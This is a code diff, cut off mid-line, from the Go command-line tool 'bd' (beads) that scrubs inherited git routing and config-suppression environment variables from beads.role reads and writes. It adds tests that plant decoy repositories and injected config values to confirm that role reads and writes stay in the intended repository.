strings.TrimSpace(string(output)) if err != nil { @@ -845,6 +851,9 @@ var configUnsetCmd = &cobra.Command{ } if key == "beads.role" { + // Same role-authority boundary as `bd config set`/`get` above: every + // spelling of a beads.role mutation resolves the repository the same + // way, so the next reader has one boundary to reason about. write, err := newRoleConfigWriter() if err != nil { return HandleError("unsetting beads.role in git config: %v", err) @@ -1140,6 +1149,8 @@ Examples: } if len(gitPairs) > 0 { + // set-many is the batch alias for `bd config set`, so it runs on the + // same role-authority boundary that verb does. write, err := newRoleConfigWriter() if err != nil { return HandleError("setting beads.role in git config: %v", err) diff --git a/cmd/bd/config_show.go b/cmd/bd/config_show.go index 5083a0ae5..ec409e7d4 100644 --- a/cmd/bd/config_show.go +++ b/cmd/bd/config_show.go @@ -11,6 +11,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/workapi" ) @@ -334,6 +335,7 @@ func collectGitConfigEntries() []configEntry { // beads.role is the only git config key currently cmd := exec.Command("git", "config", "--get", "beads.role") + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) output, err := cmd.Output() if err == nil { value := strings.TrimSpace(string(output)) diff --git a/cmd/bd/config_show_test.go b/cmd/bd/config_show_test.go index 7001a6d07..9d4408f4c 100644 --- a/cmd/bd/config_show_test.go +++ b/cmd/bd/config_show_test.go @@ -3,11 +3,14 @@ package main import ( "encoding/json" "os" + "os/exec" "path/filepath" + "runtime" "strings" "testing" "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/gitenv" ) // TestViperSourceLabel verifies source label formatting for different config sources. @@ -437,3 +440,79 @@ func TestCollectViperEntriesMetricsUserGlobalProvenance(t *testing.T) { t.Errorf("config show --json entry %s misattributes user-global value to project config.yaml", encoded) } } + +func TestCollectGitConfigEntriesIgnoresInheritedRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + pinJSONOutput(t, false) + runGit := func(t *testing.T, repo string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = repo + cmd.Env = gitenv.ScrubRouting(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git %v: %v: %s", args, err, out) + } + } + for _, tc := range []struct { + name, local, global, want string + }{ + {"repository", "maintainer", "", "maintainer"}, + {"inline", "maintainer", "", "maintainer"}, + {"default_global", "", "contributor", "contributor"}, + {"absent", "", "", ""}, + } { + t.Run(tc.name, func(t *testing.T) { + home, target, decoy := t.TempDir(), t.TempDir(), t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + if tc.global != "" { + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\nrole = "+tc.global+"\n"), 0o600); err != nil { + t.Fatal(err) + } + } + for _, repo := range []string{target, decoy} { + runGit(t, repo, "init", "--quiet") + } + runGit(t, decoy, "config", "beads.role", "decoy-role") + if tc.local != "" { + runGit(t, target, "config", "beads.role", tc.local) + } + t.Chdir(target) + poison := map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "beads.role", "GIT_CONFIG_VALUE_0": "injected-role"} + if tc.name == "repository" { + poison = map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy} + } + for key, value := range poison { + t.Setenv(key, value) + } + entries := collectGitConfigEntries() + wantGet := tc.want + if tc.want == "" { + wantGet = "beads.role (not set in git config)" + if len(entries) != 0 { + t.Errorf("absent role produced entries: %+v", entries) + } + } else if len(entries) != 1 || entries[0] != (configEntry{Key: "beads.role", Value: tc.want, Source: "git"}) { + t.Errorf("Git entries = %+v; want role=%q with source=git", entries, tc.want) + } + out := captureStdout(t, func() error { return configGetCmd.RunE(configGetCmd, []string{"beads.role"}) }) + if strings.TrimSpace(out) != wantGet { + t.Errorf("config get = %q; want %q", out, wantGet) + } + for key, value := range poison { + if os.Getenv(key) != value { + t.Errorf("reader changed parent environment %s", key) + } + } + }) + } +} diff --git a/cmd/bd/doctor/bare_parent_fallback_test.go b/cmd/bd/doctor/bare_parent_fallback_test.go index 888196490..c6d2cbe3e 100644 --- a/cmd/bd/doctor/bare_parent_fallback_test.go +++ b/cmd/bd/doctor/bare_parent_fallback_test.go @@ -4,9 +4,11 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/utils" ) @@ -155,3 +157,66 @@ func runGitInDirForDoctorTest(t *testing.T, dir string, args ...string) string { return strings.TrimSpace(string(output)) } + +func TestDoctorWorktreeFallbackIgnoresInheritedRouting(t *testing.T) { + clearResolveBeadsDirCache() + t.Cleanup(clearResolveBeadsDirCache) + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, t.TempDir()) + } + // Production ScrubRouting retains this explicit system-config suppression. + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + targetParent, target := setupBareParentWorktreeForDoctorTest(t) + decoyParent, decoy := setupBareParentWorktreeForDoctorTest(t) + want := utils.CanonicalizePath(filepath.Join(targetParent, ".beads")) + for _, dir := range []string{want, filepath.Join(decoyParent, ".beads")} { + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + } + if _, err := os.Stat(filepath.Join(target, ".beads")); !os.IsNotExist(err) { + t.Fatalf("fixture must require common-parent fallback: %v", err) + } + decoyGitDir := runGitInDirForDoctorTest(t, decoy, "rev-parse", "--absolute-git-dir") + for _, name := range []string{"decoy", "invalid_git_dir"} { + t.Run(name, func(t *testing.T) { + gitDir := decoyGitDir + if name == "invalid_git_dir" { + gitDir = filepath.Join(t.TempDir(), "missing.git") + } + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", decoy) + t.Setenv("GIT_COMMON_DIR", decoyParent) + before := strings.Join(os.Environ(), "\x00") + clearResolveBeadsDirCache() + if got := ResolveBeadsDirForRepo(target); !utils.PathsEqual(got, want) { + t.Errorf("cold ResolveBeadsDirForRepo() = %q, want target %q", got, want) + } + clearResolveBeadsDirCache() // Exercise the constructor's own cold resolution. + ss := NewSharedStore(target) + defer ss.Close() + if got := ss.BeadsDir(); !utils.PathsEqual(got, want) { + t.Errorf("cold NewSharedStore().BeadsDir() = %q, want target %q", got, want) + } + // Empty .beads proves path selection only, not a database or role read. + if ss.Store() != nil { + t.Error("empty fixture unexpectedly opened a database") + } + if entries, err := os.ReadDir(want); err != nil || len(entries) != 0 { + t.Errorf("empty target .beads changed: entries=%v, err=%v", entries, err) + } + if strings.Join(os.Environ(), "\x00") != before { + t.Error("doctor changed inherited environment") + } + }) + } +} diff --git a/cmd/bd/doctor/role.go b/cmd/bd/doctor/role.go index 4bd148d6b..bb1eb04dc 100644 --- a/cmd/bd/doctor/role.go +++ b/cmd/bd/doctor/role.go @@ -3,9 +3,11 @@ package doctor import ( "context" "fmt" + "os" "os/exec" "strings" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/storage/dolt" ) @@ -18,6 +20,7 @@ import ( func CheckBeadsRole(path string) DoctorCheck { // Read beads.role from git config (canonical location) cmd := exec.Command("git", "config", "--get", "beads.role") + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) if path != "" { cmd.Dir = path } @@ -42,6 +45,7 @@ func CheckBeadsRole(path string) DoctorCheck { func CheckBeadsRoleWithStore(path string, ss *SharedStore) DoctorCheck { // Read beads.role from git config (canonical location) cmd := exec.Command("git", "config", "--get", "beads.role") + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) if path != "" { cmd.Dir = path } @@ -85,8 +89,15 @@ func checkBeadsRoleNotInGit(path string) DoctorCheck { } // isGitRepo checks whether the given path is inside a git repository. +// +// Shares the boundary of the two role reads above, which is what this probe +// gates: rev-parse is config-sensitive through safe.directory, so retaining +// suppression here could answer false for a repository that is only reachable +// via a global safe.directory entry and silently downgrade the "beads.role not +// configured" warning to "N/A (not a git repository)". func isGitRepo(path string) bool { cmd := exec.Command("git", "rev-parse", "--git-dir") + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) if path != "" { cmd.Dir = path } diff --git a/cmd/bd/doctor/role_test.go b/cmd/bd/doctor/role_test.go index f5d07e51a..b51a6ee0b 100644 --- a/cmd/bd/doctor/role_test.go +++ b/cmd/bd/doctor/role_test.go @@ -4,7 +4,10 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "testing" + + "github.com/steveyegge/beads/internal/gitenv" ) func TestCheckBeadsRole_NotConfigured(t *testing.T) { @@ -114,3 +117,90 @@ func TestCheckBeadsRole_NonexistentPath(t *testing.T) { t.Errorf("expected status %s, got %s", StatusOK, check.Status) } } + +func TestCheckBeadsRoleIgnoresInheritedRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + t.Setenv("BEADS_DIR", "") + clearResolveBeadsDirCache() + t.Cleanup(clearResolveBeadsDirCache) + for _, tc := range []struct { + name, role, global, status, message string + }{ + {"repository", "maintainer", "", StatusOK, "Configured as maintainer"}, + {"inline", "maintainer", "", StatusOK, "Configured as maintainer"}, + {"global_override", "", "maintainer", StatusOK, "Configured as maintainer"}, + {"invalid", "admin", "", StatusWarning, "Invalid beads.role value: \"admin\""}, + {"absent", "", "", StatusWarning, "beads.role not configured"}, + {"nonrepository", "", "", StatusOK, "N/A (not a git repository)"}, + {"default_global", "", "contributor", StatusOK, "Configured as contributor"}, + } { + t.Run(tc.name, func(t *testing.T) { + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, ".config")) + if tc.global != "" { + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\nrole = "+tc.global+"\n"), 0600); err != nil { + t.Fatal(err) + } + } + target, decoy := newGitRepo(t), newGitRepo(t) + runGit := func(repo string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir, cmd.Env = repo, gitenv.ScrubRouting(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git %v: %v: %s", args, err, out) + } + } + if tc.role != "" { + runGit(target, "config", "beads.role", tc.role) + } + if tc.name != "nonrepository" { + runGit(decoy, "config", "beads.role", "decoy-role") + } else { + target = t.TempDir() + } + poison := map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy} + switch tc.name { + case "inline", "default_global": + poison = map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "beads.role", "GIT_CONFIG_VALUE_0": "injected-role"} + case "global_override": + config := filepath.Join(home, "nondefault") + if err := os.WriteFile(config, []byte("[beads]\nrole = injected-role\n"), 0600); err != nil { + t.Fatal(err) + } + poison = map[string]string{"GIT_CONFIG_GLOBAL": config} + } + for key, value := range poison { + t.Setenv(key, value) + } + for _, api := range []struct { + name string + run func(string) DoctorCheck + }{ + {"standalone", CheckBeadsRole}, + {"nil shared store", func(path string) DoctorCheck { return CheckBeadsRoleWithStore(path, nil) }}, + {"empty shared store", func(path string) DoctorCheck { return CheckBeadsRoleWithStore(path, &SharedStore{}) }}, + } { + check := api.run(target) + if check.Status != tc.status || check.Message != tc.message || check.Name != "Role Configuration" || check.Category != CategoryData { + t.Errorf("%s: got %+v; want status=%q message=%q", api.name, check, tc.status, tc.message) + } + } + for key, value := range poison { + if os.Getenv(key) != value { + t.Errorf("doctor changed parent environment %s", key) + } + } + }) + } +} diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 0d59c5cd7..9be51e6e8 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -1438,6 +1438,9 @@ func resetHooksPathIfBeadsManaged() error { return fmt.Errorf("empty Git common directory for role reset") } configEnv := gitenv.ScrubRouting(os.Environ()) + // beads.role is an authority value, unlike core.hooksPath, so its own + // commands drop inherited suppression too (see the role pair below). + roleConfigEnv := gitenv.ScrubRoutingAndSuppression(os.Environ()) var failures []string cmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--get", "core.hooksPath") @@ -1474,13 +1477,18 @@ func resetHooksPathIfBeadsManaged() error { // Keep the selected main/common config, including bare repositories with an // external worktree, while dropping routing overrides from both commands. // The presence query must use the same local scope as the unset. + // + // Both role commands additionally discard the explicit config suppression + // ScrubRouting keeps: beads.role is an authority value whose absence reads + // as maintainer, so a suppressed config file would report a clean uninstall + // while leaving the key set here. getRoleCmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--get", "beads.role") getRoleCmd.Dir = repoRoot - getRoleCmd.Env = configEnv + getRoleCmd.Env = roleConfigEnv if out, err := getRoleCmd.CombinedOutput(); err == nil { roleCmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--unset", "beads.role") roleCmd.Dir = repoRoot - roleCmd.Env = configEnv + roleCmd.Env = roleConfigEnv if output, err := roleCmd.CombinedOutput(); err != nil { failures = append(failures, fmt.Sprintf("beads.role: %v (output: %s)", err, strings.TrimSpace(string(output)))) } diff --git a/cmd/bd/init.go b/cmd/bd/init.go index 3b6b78865..5064509d2 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -1940,6 +1940,13 @@ Non-interactive mode (--non-interactive or BD_NON_INTERACTIVE=1): // Earlier code paths may skip role-setting when BEADS_DIR is set, // promptContributorMode fails, or edge-case flag combinations are used. // This guarantees every init leaves a usable role-configured state. + // + // The gate and the pair answer on the same boundary: isInitRoleGitRepo + // scrubs inherited routing and config suppression exactly as + // getBeadsRole/setBeadsRole do, so the gate cannot open on a repository + // the write will then fail to reach. Gating on the inherited isGitRepo() + // instead is what used to make this safety net write the role into a + // redirected repository. if isInitRoleGitRepo(ctx) { if _, hasRole := getBeadsRole(); !hasRole { fallbackRole := "maintainer" @@ -2933,20 +2940,49 @@ func shouldPromptForRole() bool { return term.IsTerminal(int(os.Stdin.Fd())) } -// isInitRoleGitRepo uses the same CWD and routing policy as getBeadsRole/setBeadsRole. +// isInitRoleGitRepo uses the same CWD and routing policy as getBeadsRole/setBeadsRole, +// including their suppression scrub: rev-parse is config-sensitive through +// safe.directory, so retaining suppression here could answer false for a +// repository that is only reachable via a global safe.directory entry and skip +// the role write the pair would have completed. func isInitRoleGitRepo(ctx context.Context) bool { ctx, cancel := context.WithTimeout(ctx, 5*time.Second) defer cancel() cmd := exec.CommandContext(ctx, "git", "rev-parse", "--git-dir") - cmd.Env = gitenv.ScrubRouting(os.Environ()) + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) return cmd.Run() == nil } // getBeadsRole reads the beads.role git config value. // Returns the role and true if configured, or empty string and false if not set. +// +// Both halves of the pair run on the same authority boundary as every role +// reader so init cannot report a role it wrote into a different repository: +// an inherited GIT_DIR would redirect setBeadsRole's write, and inherited +// config suppression would blind the read that decides whether to write at +// all. +// +// Selection is then the working directory or a containing ancestor. The scrub +// drops GIT_CEILING_DIRECTORIES along with the redirects, so it removes a +// bound rather than installing one: measured from a non-repository directory +// nested under a repository, `git config beads.role ` fails "not in a +// git directory" while a ceiling below that repository is inherited, and +// writes the repository's local config once the ceiling is scrubbed. cmd.Dir +// is still not threaded through the pair, because no production path chdirs +// away from the invocation directory before these run. Two residuals remain: +// upward discovery from an unintended cwd, and `bd -C `, which redirects +// project selection by setting BEADS_DIR without chdir-ing +// (applyChangeDirSelection), so init can act on another project's workspace +// while the pair still reads and writes beads.role in the invocation +// repository; -C requires an existing beads project at the target, so that +// pairing arises on re-init rather than first init, and the GH#2950 safety net +// records the same BEADS_DIR skew. Threading init's resolved project root +// through the pair would close that one, but it is a behavior change rather +// than a boundary fix. clearWorktreeGitRoutingEnv discloses the same widening +// for the bd worktree commands. func getBeadsRole() (string, bool) { cmd := exec.Command("git", "config", "--get", "beads.role") - cmd.Env = gitenv.ScrubRouting(os.Environ()) + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) output, err := cmd.Output() if err != nil { return "", false @@ -2958,10 +2994,11 @@ func getBeadsRole() (string, bool) { return role, true } -// setBeadsRole writes the beads.role git config value. +// setBeadsRole writes the beads.role git config value. See getBeadsRole for +// why the pair shares the role-authority environment boundary. func setBeadsRole(role string) error { cmd := exec.Command("git", "config", "beads.role", role) - cmd.Env = gitenv.ScrubRouting(os.Environ()) + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) return cmd.Run() } diff --git a/cmd/bd/init_contributor.go b/cmd/bd/init_contributor.go index 2bf486786..a6c197da4 100644 --- a/cmd/bd/init_contributor.go +++ b/cmd/bd/init_contributor.go @@ -347,6 +347,9 @@ func autoConfigureForkContributor(ctx context.Context, store storage.DoltStorage return fmt.Errorf("failed to set sync.remote: %w", err) } + // setBeadsRole carries the shared role-authority boundary: an inherited + // GIT_DIR or a suppressed config file would otherwise land this write in a + // different repository than every beads.role reader consults. if err := setBeadsRole("contributor"); err != nil && !quiet { fmt.Fprintf(os.Stderr, "Warning: failed to set beads.role=contributor: %v\n", err) } diff --git a/cmd/bd/init_role_routing_test.go b/cmd/bd/init_role_routing_test.go new file mode 100644 index 000000000..aea4cb7bf --- /dev/null +++ b/cmd/bd/init_role_routing_test.go @@ -0,0 +1,133 @@ +package main + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/gitenv" +) + +// TestBeadsRoleWriterIgnoresInheritedGitRouting pins the init role pair to the +// same boundary as every beads.role reader. The reader half of the stack was +// hardened first, which is what makes the writer half load-bearing: with the +// writer still inherited, `GIT_DIR=/.git bd init` writes the role +// into that other repository, then reports success while every scrubbed reader +// looks at the repository the user is actually standing in and finds nothing. +// +// Both subtests must assert *where* the value landed. A roundtrip assertion is +// vacuous here: before the fix the write and the read followed the same +// redirect, so they agreed with each other about the wrong repository. +func TestBeadsRoleWriterIgnoresInheritedGitRouting(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("role routing fixture requires Git") + } + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + + // localRole reads repo's own config file directly, so it reports where a + // value physically landed rather than what discovery would resolve to. + localRole := func(t *testing.T, repo string) string { + t.Helper() + cmd := exec.Command("git", "config", "--local", "--get", "beads.role") + cmd.Dir = repo + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) + out, err := cmd.Output() + if err != nil { + return "" + } + return strings.TrimSpace(string(out)) + } + setLocalRole := func(t *testing.T, repo, role string) { + t.Helper() + cmd := exec.Command("git", "config", "--local", "beads.role", role) + cmd.Dir = repo + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git config: %v: %s", err, out) + } + } + poison := func(t *testing.T, decoy string) { + t.Helper() + t.Setenv("GIT_DIR", filepath.Join(decoy, ".git")) + t.Setenv("GIT_WORK_TREE", decoy) + } + + t.Run("write stays in the selected repository", func(t *testing.T) { + target, decoy := newGitRepo(t), newGitRepo(t) + t.Chdir(target) + poison(t, decoy) + + if err := setBeadsRole("contributor"); err != nil { + t.Fatalf("setBeadsRole: %v", err) + } + if got := localRole(t, target); got != "contributor" { + t.Errorf("target beads.role = %q, want %q: the write did not land where bd is standing", got, "contributor") + } + if got := localRole(t, decoy); got != "" { + t.Errorf("decoy beads.role = %q, want unset: an inherited GIT_DIR captured the write", got) + } + }) + + t.Run("read ignores a redirected repository", func(t *testing.T) { + target, decoy := newGitRepo(t), newGitRepo(t) + setLocalRole(t, decoy, "maintainer") + t.Chdir(target) + poison(t, decoy) + + // Fixture guard: the decoy really does hold a readable role, so a + // "not maintainer" result below can only come from ignoring it. + if got := localRole(t, decoy); got != "maintainer" { + t.Fatalf("decoy fixture beads.role = %q, want %q", got, "maintainer") + } + role, hasRole := getBeadsRole() + if hasRole { + t.Errorf("getBeadsRole() = %q, true; want unset: the read followed an inherited GIT_DIR", role) + } + }) + + // A redirect is not the only way to defeat the pair, and the two subtests + // above cannot tell the two vectors apart: they pass on the GIT_DIR half + // alone, so downgrading getBeadsRole to gitenv.ScrubRouting leaves them + // green. Suppression is the load-bearing half here — init.go treats a + // getBeadsRole miss as permission to write a default role — so it needs a + // pin of its own. + t.Run("read ignores inherited config suppression", func(t *testing.T) { + home, target := t.TempDir(), newGitRepo(t) + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\n\trole = contributor\n"), 0o600); err != nil { + t.Fatal(err) + } + t.Chdir(target) + + for _, tc := range []struct{ name, blind string }{ + // Fixture guard: the global role must be readable at all, and must + // not be shadowed by a local one, or the blinded case below would + // pass for the wrong reason. + {"unblinded", ""}, + {"global_null", os.DevNull}, + } { + t.Run(tc.name, func(t *testing.T) { + if tc.blind != "" { + t.Setenv("GIT_CONFIG_GLOBAL", tc.blind) + } + role, hasRole := getBeadsRole() + if !hasRole || role != "contributor" { + t.Errorf("getBeadsRole() = %q, %t; want %q, true: a blinded read is what makes init write a default role", role, hasRole, "contributor") + } + }) + } + }) +} diff --git a/cmd/bd/worktree_cmd.go b/cmd/bd/worktree_cmd.go index 968e7c705..74a09ca99 100644 --- a/cmd/bd/worktree_cmd.go +++ b/cmd/bd/worktree_cmd.go @@ -672,9 +672,9 @@ func scrubWorktreeGitRoutingEnv(env []string) []string { } // scrubWorktreeGitRoutingEnvForOS removes inherited Git repository, index, -// object, namespace, executable, template, and config routing. It deliberately -// preserves non-routing controls such as GIT_OPTIONAL_LOCKS; the removal runner -// applies its stricter policy separately. +// object, namespace, executable, template, and custom config routing. It keeps +// explicit null config suppression, GIT_CONFIG_NOSYSTEM and non-routing controls +// such as GIT_OPTIONAL_LOCKS; the removal runner applies its stricter policy separately. func scrubWorktreeGitRoutingEnvForOS(env []string, goos string) []string { return gitenv.ScrubRoutingForOS(env, goos) } @@ -709,10 +709,18 @@ func worktreeGitEnvKey(entry string) string { // clearWorktreeGitRoutingEnv establishes the command working directory as the // repository-selection boundary without changing process identity or signal -// semantics. Startup config discovery applies the same scrub to its pre-hook -// config-path probe only; the .beads database discovery probes in -// internal/beads still honor inherited routing, so the two planes can resolve -// different repositories. +// semantics. Startup config discovery applies the same boundary to its one +// pre-hook Git probe, and the .beads discovery probes that run against an +// already selected path share it too (beads.selectedBeadsGitOutput and +// ResolveBeadsDirForRepo). The generic internal/beads gitOutput probes and +// internal/git/gitdir.go still honor inherited routing, so those planes can +// still resolve a different repository than this one (bd-p4che). +// +// The boundary removes inherited discovery *redirects*. It is not a floor: +// GIT_CEILING_DIRECTORIES is a routing key too, so dropping it also re-enables +// upward discovery, and a `bd worktree` command run outside a repository can +// then select a containing parent that an inherited ceiling would have hidden +// (init's role probe records the same trade-off). func clearWorktreeGitRoutingEnv(cmd *cobra.Command) error { if !hasWorktreeCommandAncestor(cmd) { return nil diff --git a/cmd/bd/worktree_test.go b/cmd/bd/worktree_test.go index bc380a541..01f4d9c85 100644 --- a/cmd/bd/worktree_test.go +++ b/cmd/bd/worktree_test.go @@ -79,6 +79,10 @@ func TestGitRevParse(t *testing.T) { func TestGitCmdInDirSuppressesHooksViaGitConfig(t *testing.T) { t.Setenv("GIT_DIR", "/wrong") t.Setenv("GIT_OPTIONAL_LOCKS", "1") + suppression := map[string]string{"GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": os.DevNull, "GIT_CONFIG_SYSTEM": os.DevNull} + for key, value := range suppression { + t.Setenv(key, value) + } cmd := gitCmdInDir(t.Context(), "/tmp/example", "status", "--porcelain") if cmd.Dir != "/tmp/example" { t.Fatalf("cmd.Dir = %q, want /tmp/example", cmd.Dir) @@ -104,6 +108,14 @@ func TestGitCmdInDirSuppressesHooksViaGitConfig(t *testing.T) { if env == "GIT_OPTIONAL_LOCKS=1" { hasOptionalLocks = true } + key := worktreeGitEnvKey(env) + if want, ok := suppression[key]; ok { + if env != key+"="+want { + t.Fatalf("changed config suppression: %q", env) + } + delete(suppression, key) + continue + } if gitenv.IsRoutingKeyForOS(worktreeGitEnvKey(env), runtime.GOOS) && env != "GIT_TEMPLATE_DIR=" { t.Fatalf("cmd.Env retains Git routing state: %q", env) } @@ -114,6 +126,9 @@ func TestGitCmdInDirSuppressesHooksViaGitConfig(t *testing.T) { if !hasOptionalLocks { t.Fatal("cmd.Env did not preserve GIT_OPTIONAL_LOCKS") } + if len(suppression) != 0 { + t.Fatalf("cmd.Env dropped explicit config suppression: %v", suppression) + } } func TestScrubWorktreeRemovalGitEnvUsesSharedWindowsKeyIdentity(t *testing.T) { diff --git a/docs/reference/worktrees.md b/docs/reference/worktrees.md index 18dbd61aa..2adc406ee 100644 --- a/docs/reference/worktrees.md +++ b/docs/reference/worktrees.md @@ -25,6 +25,12 @@ and the `.beads` database discovery probes in `internal/beads`, so those variables can still select which workspace `bd` opens. Clearing those variables from the `bd` process environment applies only to `bd worktree` commands. +`GIT_CEILING_DIRECTORIES` is scrubbed along with the redirects. That removes a +*bound* rather than a redirect, so discovery from the working directory is +widened, not narrowed: run in a directory that is not itself a repository, `bd` +can select a containing parent repository that an inherited ceiling would have +hidden. + ``` project/ ├── .git/ # Shared Git directory diff --git a/internal/beads/beads.go b/internal/beads/beads.go index 739a0db50..bf153a423 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -21,6 +21,7 @@ import ( "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/backends" "github.com/steveyegge/beads/internal/utils" @@ -228,12 +229,12 @@ func preferStableBranchWorktreeBeadsDir(beadsDir string) string { return "" } - branch, err := gitOutput(repoRoot, "rev-parse", "--abbrev-ref", "HEAD") + branch, err := selectedBeadsGitOutput(repoRoot, "rev-parse", "--abbrev-ref", "HEAD") if err != nil || branch != "HEAD" { return "" } - head, err := gitOutput(repoRoot, "rev-parse", "HEAD") + head, err := selectedBeadsGitOutput(repoRoot, "rev-parse", "HEAD") if err != nil || head == "" { return "" } @@ -282,9 +283,21 @@ func isDetachedCommitWorktreePath(path string) bool { } func gitOutput(dir string, args ...string) (string, error) { + return gitOutputEnv(nil, dir, args...) +} + +// selectedBeadsGitOutput probes the repository of an already selected .beads path. +// The shared filter retains NOSYSTEM and null GLOBAL/SYSTEM suppression, +// while discarding custom config paths and inline config overrides. +func selectedBeadsGitOutput(dir string, args ...string) (string, error) { + return gitOutputEnv(gitenv.ScrubRouting(os.Environ()), dir, args...) +} + +func gitOutputEnv(env []string, dir string, args ...string) (string, error) { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() cmd := exec.CommandContext(ctx, "git", append([]string{"-C", dir}, args...)...) //nolint:gosec // args are internal, not user-supplied + cmd.Env = env output, err := cmd.Output() if err != nil { return "", err @@ -293,7 +306,7 @@ func gitOutput(dir string, args ...string) (string, error) { } func listWorktrees(repoRoot string) ([]worktreeInfo, error) { - output, err := gitOutput(repoRoot, "worktree", "list", "--porcelain") + output, err := selectedBeadsGitOutput(repoRoot, "worktree", "list", "--porcelain") if err != nil { return nil, err } @@ -643,7 +656,7 @@ func FindBeadsDirFrom(startDir string) string { startDir = utils.CanonicalizePath(startDir) repoRoot := "" - if out, err := gitOutput(startDir, "rev-parse", "--show-toplevel"); err == nil { + if out, err := selectedBeadsGitOutput(startDir, "rev-parse", "--show-toplevel"); err == nil { repoRoot = utils.CanonicalizePath(out) } @@ -1174,6 +1187,7 @@ func ResolveBeadsDirForRepo(repoPath string) string { func worktreeFallbackBeadsDirForRepo(repoPath string) string { cmd := exec.Command("git", "-C", repoPath, "rev-parse", "--git-dir", "--git-common-dir") + cmd.Env = gitenv.ScrubRouting(os.Environ()) output, err := cmd.Output() if err != nil { return "" diff --git a/internal/beads/beads_test.go b/internal/beads/beads_test.go index 4597bc65d..b4e64378d 100644 --- a/internal/beads/beads_test.go +++ b/internal/beads/beads_test.go @@ -6,6 +6,7 @@ import ( "os" "os/exec" "path/filepath" + "reflect" "runtime" "slices" "strings" @@ -13,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/utils" ) @@ -2695,3 +2697,188 @@ func TestGitPathForRepo(t *testing.T) { } }) } + +func TestFindBeadsDirFromIgnoresInheritedRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + home := t.TempDir() + for _, key := range []string{"HOME", 